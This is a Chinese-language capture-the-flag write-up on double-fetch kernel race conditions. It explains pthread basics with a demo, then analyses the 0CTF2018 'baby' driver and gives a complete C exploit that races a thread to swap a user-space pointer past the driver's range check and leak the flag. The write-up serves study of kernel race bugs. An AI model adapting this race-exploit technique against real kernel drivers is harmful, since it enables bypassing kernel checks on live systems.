Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争.
pthread_create && pthread_join
| 1 | NAME | 
| 2 |        pthread_create - create a new thread | 
| 3 | |
| 4 | SYNOPSIS | 
| 5 |        #include <pthread.h> | 
| 6 | |
| 7 |        int pthread_create(pthread_t *thread, const pthread_attr_t *attr,void *(*start_routine) (void *), void *arg); | 
| 8 | |
| 9 |        Compile and link with -pthread. | 
| 10 | |
| 11 | DESCRIPTION | 
| 12 |        The  pthread_create()  function  starts a new thread in the calling process.  The new thread starts execution by invoking | 
| 13 |        start_routine(); arg is passed as the sole argument of start_routine(). | 
pthread_create用于创建一个线程函数,成功创建返回0
thread:            指向线程标识符的指针
attr:            设置线程属性
start_routine:    线程函数指针
arg:            线程函数的参数因为pthread并非Linux系统的默认库,所以GCC编译时需要加上-lpthread参数
| 1 | NAME | 
| 2 |        pthread_join - join with a terminated thread | 
| 3 | |
| 4 | SYNOPSIS | 
| 5 |         | 
| 6 | |
| 7 |        int pthread_join(pthread_t thread, void **retval); | 
| 8 | |
| 9 |        Compile and link with -pthread. | 
| 10 | |
| 11 | DESCRIPTION | 
| 12 |        The  pthread_join()  function  waits  for the thread specified by thread to terminate.  If that thread has already termi‐ | 
| 13 |        nated, then pthread_join() returns immediately.  The thread specified by thread must be joinable. | 
| 14 | |
| 15 |        If retval is not NULL, then pthread_join() copies the exit status of the target thread (i.e., the value that  the  target | 
| 16 |        thread  supplied  to  pthread_exit(3))  into  the location pointed to by retval.  If the target thread was canceled, then | 
| 17 |        PTHREAD_CANCELED is placed in the location pointed to by retval. | 
| 18 | |
| 19 |        If multiple threads simultaneously try to join with the same thread, the results are undefined.  If  the  thread  calling | 
| 20 |        pthread_join() is canceled, then the target thread will remain joinable (i.e., it will not be detached). | 
| 21 | |
| 22 | RETURN VALUE | 
| 23 |        On success, pthread_join() returns 0; on error, it returns an error number. | 
pthread_join用于等待一个线程的结束
thread:    等待线程的标识符
retval:    为一个用户定义的指针,它可以用来存储被等待线程的返回值DEMO:
| 1 |  | 
| 2 |  | 
| 3 |  | 
| 4 | struct member | 
| 5 | { | 
| 6 | 	int num; | 
| 7 | 	size_t *name; | 
| 8 | }; | 
| 9 | void *pthread(void *arg) | 
| 10 | { | 
| 11 | 	struct member *tmp; | 
| 12 | 	puts("Start"); | 
| 13 | 	sleep(2); | 
| 14 | 	tmp = (struct member*)arg; | 
| 15 | 	printf("Num:\t%d\n",tmp->num); | 
| 16 | 	printf("Name:\t%s\n",tmp->name); | 
| 17 | 	return NULL; | 
| 18 | } | 
| 19 | int main(int argc,char *argv[]) | 
| 20 | { | 
| 21 | 	pthread_t thread; //线程标识符 | 
| 22 | 	struct member *mbr; | 
| 23 | 	mbr = (struct member *)malloc(sizeof(struct member)); | 
| 24 | 	mbr->num = 1; | 
| 25 | 	mbr->name ="FMYY"; | 
| 26 | 	if ((pthread_create(&thread, NULL, pthread, (void*)mbr)) == -1) | 
| 27 | 	{ | 
| 28 | 		puts("Create Error"); | 
| 29 | 		return 1; | 
| 30 | 	} | 
| 31 | 	sleep(1); //令线程函数先运行 | 
| 32 | 	puts("Main Continue"); //由于线程函数休眠2s,故main函数先执行 | 
| 33 | 	if(pthread_join(thread,NULL)) | 
| 34 | 	{ | 
| 35 | 		puts("Thread Ended"); | 
| 36 | 		return 0; | 
| 37 | 	} | 
| 38 | 	return 0; | 
| 39 | } | 
运行结果如下
| 1 | root@kali:~# ./demo.out | 
| 2 | Start | 
| 3 | Main Continue | 
| 4 | Num:	1 | 
| 5 | Name:	FMYY | 
| 6 | root@kali:~# | 
0CTF2018-baby
题目简单分析
1.参数为0x6666 则会利用printk打印出flag的地址,可利用dmesg命令查看
2.参数0x1337,且判断输入的指针是否指向用户态数据,数据指针是否指向用户态,传入的结构中len是否等于驱动中flag的长度,然后对flag进行逐字对比,通过则可打印flag,同样用dmesg查看flag利用分析
1.从驱动中可以直接确定指针中的长度为33,则传入的长度可以确定,同时令传入的结构体中flag地址为驱动中硬编码的flag地址  
2.如果创建一个恶意函数进程与main函数进程进行竞争,因为传入的是一个指针,指针结构体中的内容是在用户空间,所以两个线程进争的过程中,在用户态可以修改结构体中的flag指针,当通过第一个范围检测后,另一个进程将flag指针指向了硬编码的flag地址,则可令程序通过对flag逐字对比的检测,从而打印真实的flag地址  | 1 | // gcc -static exp.c -lpthread -o exp | 
| 2 |  | 
| 3 |  | 
| 4 |  | 
| 5 |  | 
| 6 |  | 
| 7 |  | 
| 8 |  | 
| 9 |  | 
| 10 |  | 
| 11 |  | 
| 12 | |
| 13 |  | 
| 14 |  | 
| 15 | |
| 16 | struct attr | 
| 17 | { | 
| 18 |     char *flag; | 
| 19 |     size_t len; | 
| 20 | }; | 
| 21 | unsigned long long addr; | 
| 22 | int finish =0; | 
| 23 | char buf[LEN+1]={0}; | 
| 24 | void change_attr_value(void *s){ | 
| 25 |     struct attr * s1 = s;  | 
| 26 |     while(finish==0){ | 
| 27 |     s1->flag = addr; | 
| 28 |     } | 
| 29 | } | 
| 30 | |
| 31 | int main(void) | 
| 32 | { | 
| 33 |   | 
| 34 | |
| 35 |     int addr_fd; | 
| 36 |     char *idx; | 
| 37 | |
| 38 |     int fd = open("/dev/baby",0); | 
| 39 |     int ret = ioctl(fd,0x6666);     | 
| 40 |     pthread_t t1; | 
| 41 |     struct attr t; | 
| 42 | |
| 43 |     setvbuf(stdin,0,2,0); | 
| 44 |     setvbuf(stdout,0,2,0); | 
| 45 |     setvbuf(stderr,0,2,0);    | 
| 46 | |
| 47 |     system("dmesg > /tmp/record.txt"); | 
| 48 |     addr_fd = open("/tmp/record.txt",O_RDONLY); | 
| 49 |     lseek(addr_fd,-LEN,SEEK_END); | 
| 50 |     read(addr_fd,buf,LEN); | 
| 51 |     close(addr_fd); | 
| 52 |     idx = strstr(buf,"Your flag is at "); | 
| 53 |     if (idx == 0){ | 
| 54 |         printf("[-]Not Found Address"); | 
| 55 |         exit(-1); | 
| 56 |     } | 
| 57 |     else{ | 
| 58 |         idx+=16; | 
| 59 |         addr = strtoull(idx,idx+16,16); | 
| 60 |         printf("[+]FLAG Address: %p\n",addr); | 
| 61 |     } | 
| 62 | |
| 63 |     t.len = 33; | 
| 64 |     t.flag = buf; | 
| 65 |     pthread_create(&t1, NULL, change_attr_value,&t); | 
| 66 |     for(int i=0;i<TRYTIME;i++){ | 
| 67 |         ret = ioctl(fd, 0x1337, &t); | 
| 68 |         t.flag = buf; | 
| 69 |     } | 
| 70 |     finish = 1; | 
| 71 |     pthread_join(t1, NULL); | 
| 72 |     close(fd); | 
| 73 |     system("dmesg | grep flag"); | 
| 74 |     return 0; | 
| 75 | } | 
